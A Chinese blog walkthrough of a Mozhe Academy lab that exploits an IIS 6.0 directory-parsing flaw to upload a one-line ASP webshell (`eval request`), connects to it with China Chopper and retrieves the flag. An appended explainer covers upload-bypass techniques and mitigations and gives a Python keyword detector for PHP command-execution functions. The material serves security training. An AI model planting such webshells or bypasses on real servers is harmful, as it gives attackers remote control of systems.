墨者——内部文件上传系统漏洞分析溯源 内部文件上传系统漏洞分析溯源

文章详细描述了针对一个内部文件上传系统进行的漏洞分析过程,从选择上传文件类型到发现IIS6.0的文件解析漏洞,然后利用该漏洞上传了一句话木马并成功执行,最终通过菜刀工具连接服务器找到flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

墨者——内部文件上传系统漏洞分析溯源 内部文件上传系统漏洞分析溯源

1.选择合适的文件上传

在这里插入图片描述

2.可以看到为*.asp文件

在这里插入图片描述

3.可以推测出此站点为IIS
4.上传shell.asp试试

在这里插入图片描述

5.上传报错,将其改名为shell.asp.txt上传,发现上传成功

在这里插入图片描述

6.有个问题就是服务器将我们所上传的文件进行了重命名,故我们应该想办法截断

在这里插入图片描述

7.经过测试发现不行,那么查看一下操作系统的版本Microsoft-IIS/6.0
在这里插入图片描述

8.看看此服务器有没有什么漏洞,发现此版本有文件解析漏洞

在这里插入图片描述

9.把文档中的内容替换成一句话木马

<%eval  request(“test”)%>

在这里插入图片描述

10.上传试试

在这里插入图片描述

11.改上传的路径为123.asp,那么此目录下的所有文件就会被当做asp执行

在这里插入图片描述

12.接下来,使用菜刀连接

在这里插入图片描述

13.找到flag

KEY:mozhe8d9d6022cc9ac37e39936699415

在这里插入图片描述

PS:使用菜刀连接,一开始我还以为马儿有问题!!!有点坑

### 墨者学院 WebShell 文件上传漏洞分析溯源方法 #### 背景概述 WebShell 是一种嵌入到目标服务器中的脚本程序,攻击者可以通过它远程控制受害者的服务器文件上传漏洞通常允许攻击者通过伪造请求或其他手段绕过安全机制,在服务器上放置恶意脚本。 在墨者学院的相关题目中提到的内容涉及多个方面,包括 MIME 类型篡改、禁用 JavaScript 绕过前端验证以及利用后缀名规避检测等技术[^1]。 --- #### 漏洞成因分析 文件上传漏洞的主要原因在于服务端对上传文件的安全校验不足。具体表现为以下几个方面: 1. **MIME 类型校验不严格** 攻击者可以使用工具(如 Burp Suite)抓取 HTTP 请求并修改其 MIME 类型字段,从而绕过基于内容类型的限制。例如,将 `.txt` 文件伪装为 `image/jpeg` 格式的图片文件。 2. **依赖客户端验证** 如果仅依靠浏览器端的 JavaScript 验证来阻止非法文件类型,则容易被禁用或绕过。一旦禁用了 JavaScript 功能,就可以轻松提交不符合预期规则的文件[^2]。 3. **扩展名校验缺陷** 当某些应用只检查文件名而未深入解析实际内容时,可能会接受带有特殊后缀名(比如 `.php5`, `.pht` 等变种 PHP 扩展)的文件作为合法输入[^3]。这使得即使表面上看似正常的文件也可能隐藏潜在威胁。 --- #### 解决方案建议 为了有效防范此类问题的发生,可以从以下几方面着手改进防护措施: - 加强服务端逻辑设计, 不应单纯信任来自用户的任何数据; - 对于上传过程实施多重过滤策略, 如限定白名单内的 mime-type 和尺寸范围之外还需确认最终存储形式确实无害; - 定期审查现有代码库寻找可能存在的安全隐患点,并及时修补已知漏洞; 以下是实现上述部分功能的一个 Python 示例演示如何初步判断一个给定字符串是否可能是危险命令执行语句的一部分: ```python import re def is_potentially_dangerous(input_string): pattern = r'(?:exec|passthru|shell_exec|system|proc_open|popen)' match_result = re.search(pattern, input_string.lower()) return bool(match_result) test_strings = ["<?php echo 'hello'; ?>", "<?php system('ls'); ?>"] for s in test_strings: print(f"'{s}' -> {is_potentially_dangerous(s)}") ``` 此函数会返回 True 或 False 表明传入参数是否存在可疑的关键字组合。 --- #### 总结 通过对墨者学院案例的学习可以看出,针对 web shell 的防御工作需要综合考虑多层面的因素,从前端界面交互直至后台数据库操作均需保持高度警惕以防万一环节疏漏造成严重后果。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值